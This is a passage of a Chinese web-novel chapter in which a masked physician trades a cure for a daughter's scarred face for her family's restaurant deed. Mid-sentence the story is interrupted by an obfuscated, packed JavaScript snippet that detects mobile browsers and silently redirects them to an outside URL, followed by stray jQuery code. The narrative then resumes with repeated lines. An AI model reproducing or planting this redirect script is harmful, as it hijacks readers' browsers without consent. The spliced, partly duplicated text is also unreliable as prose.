这种把戏……她见得多了。
晏清澜将早已备好的文书取出,轻轻放在桌上,推到钱雅芝面前。
两人落座,提笔,蘸墨,签字,画押,盖印。
每一个动作,都带着一种决绝的意味。
这文书,只要送到官府,盖上大印,那醉月楼,就彻底易主了。
不过,地契还在钱雅芝手里。
她紧紧攥着,不肯松手。
这是她最后的筹码,也是她心里最后一点安慰。
她怕对方拿到房契就翻脸不认人,更怕女儿的脸,治不好,或者留下什么瑕疵。
她想要的,不仅仅是治好,而是……完美。
“澜衣神医……”
钱雅芝的声音,依旧有些发抖。
她太害怕了,害怕这个唯一能救女儿的人,会突然消失。
“小姑娘的颜值,最是要紧……在玥玥的脸,恢复如初之前,我……我不能把所有的东西,都交给您。”
她鼓起勇气,说出这句话,每一个字,都像是从牙缝里挤出来的。
晏清澜微微点头,似乎并不意外。
她看着钱雅芝,眼神平静。
“人之常情。”
她淡淡地说了四个字,听不出情绪。
钱雅芝却觉得,这话里,似乎带着一丝嘲弄。
她忍不住抬头去看,却只看到一张被面具遮住的脸,和一双深不见底的眼睛。
是自己多心了吗?
钱雅芝有些恍惚,心里七上八下的。
身旁,她死死攥住被褥,指甲几乎要陷进肉里。
她的手腕,因为过度用力而青筋暴起,却被宽大的袖子遮掩。
她内心的紧张和恐惧,快要将她淹没。
她能感觉到,那双眼睛,正注视着自己。
那眼神,仿佛能看穿一切伪装,直达她内心最深处。
让她无所遁形。
她害怕,却又不敢表现出来,只能低着头,将自己缩成一团。
晏清澜的视线,终于落在了晏玥玥的脸上。
在那一道道触目惊心的伤痕上,缓缓扫过。
“这伤……”
她开口,声音依旧平静。
“确实不轻。”
像是在描述一件与己无关的事情。
晏玥玥的身子,明显地颤抖了一下。
眼神中,闪过一丝受伤和委屈。
“您……之前已经说过了。”
她的声音很小,带着一丝不易察觉的哽咽。
她不明白,为什么这个人要一而再,再而三地提起她的伤疤。
难道,看她痛苦,很好玩吗?
可她不敢表现出任何不满。
她怕,怕这个人会放弃救她。
晏清澜轻轻挑眉,嘴角的弧度,更深了些。
她这人,向来恩怨分明。
有仇,她喜欢当场就报。
当然,心情好的时候,她也会大度一回,把报仇的时间往后延一延。
一旦心态崩了……
那就对不住了。
更何况,晏玥玥可没少招惹她。
如今人落在她手里,她怎么会轻易放过?
“不过,也不是完全没办法。”
晏清澜话锋一转,语气变得有些玩味。
“我这里有一种药膏,能让你恢复容貌,甚至……比以前更美。”
她故意停顿了一下,看着晏玥玥和钱雅芝的反应。
一个惊喜,一个急切。
“只是……”
她又补充了一句。
“这过程,会很痛苦。”
“非常痛苦。”
她加重了语气,似乎在强调这痛苦的程度。
“头三天,奇痒难忍,就像有千万只蚂蚁在脸上爬,你恨不得把脸抓烂。”
“后两天,痛不欲生,就像有人拿着刀,一刀一刀地割你的脸,让你生不如死。”
她描述得绘声绘色,仿佛亲眼见过一般。
“能不能熬过去,就看你自己了。”
晏清澜说着,拿起桌上的房契,轻轻晃了晃。
“现在反悔,还来得及。”
她语气轻松,似乎真的在为她们考虑。
可她心里清楚,这两个人,是绝对不会放弃的。
果然,晏玥玥想都没想,立刻开口。
“我不怕!”
她的声音,带着一丝颤抖,却异常坚定。
“只要能好,再痒再痛,我都不怕!”
她抬起头,眼中闪着泪光,却透着一股决绝。
“总好过……顶着这样一张脸!”
“与其这样活着,不如**算了!”
她说着,眼泪再也忍不住,顺着脸颊滑落。
钱雅芝心疼不已,却也知道,女儿说的是实话。
她转头看向晏清澜,眼中满是恳求。
“澜衣神医,您说……该怎么办?”
晏清澜看着钱雅芝,眼神依旧平静。
“决定权,在你们手里。”
“做母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984899|178491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲的,自然希望女儿不受苦。可做女儿的,却未必这么想。”
“我只是个大夫,负责治病,不负责做决定。”
钱雅芝看着女儿那张布满伤痕的脸,心如刀绞。
可是,除了这个办法,还有别的路可走吗?
她闭上眼睛,深吸一口气,再睁开时,眼中已经一片坚定。
“听玥玥的……”
她的声音,有些沙哑,却透着一股不容置疑的决心。
晏清澜看着眼前的母女二人,轻轻叹了口气。
“早知如此……何必当初呢。”
她摇了摇头,似乎真的在为她们惋惜。
“这药膏,用得越早,效果越好,痛苦也越小。”
“要是提前几天……”
她停顿了一下,看着晏玥玥。
“或许,你根本不用受这么多罪。”
“可惜了。”
“不过,现在也不晚。”
“只要你能熬过这五天,一切都会好起来的。”
“记住,千万不能抓,不能挠。”
“否则……”
她没有再说下去,只是看着晏玥玥,眼神中带着一丝警告。
“这张脸,就彻底毁了。”“早知如此,何必当初。”
晏清澜悠悠开口,目光若有似无地扫过晏雨珩。
话音落下,像块巨石投入湖心,激起层层涟漪。
晏雨珩脊背一僵,垂在身侧的手指不自觉地蜷曲,唇边泛起一抹无人察觉的苦涩。
妹妹晏玥玥原本就紧攥的指尖,更是深深地向内扣进掌心,几乎要掐出血来。
钱雅芝的脸色,也在瞬间变得苍白,眼神中闪过一丝慌乱与懊悔。
是啊,早个两日……
那不正是晏雨珩第一次提起,要用醉月楼换取澜衣神医为晏玥玥诊治的时候吗?
两日前的场景,如走马灯般在三人脑海中闪过。
钱雅芝记得,晏玥玥记得,晏雨珩自然也记得。
前几日,母亲钱雅芝对自己的质疑,像一根尖锐的冰锥,狠狠刺入晏雨珩的心脏,留下无法愈合的裂痕。
如今再看妹妹遭受的苦楚,晏雨珩只觉满心荒唐与疲惫。
各种复杂的情绪,如同打翻的五味瓶,酸甜苦辣咸,一齐涌上心头,堵得他说不出话来。
晏玥玥死死地低着头,让人看不清她脸上的表情。
可她心里,却早已掀起滔天巨浪。
她在恨。
恨母亲钱雅芝当日的犹豫不决。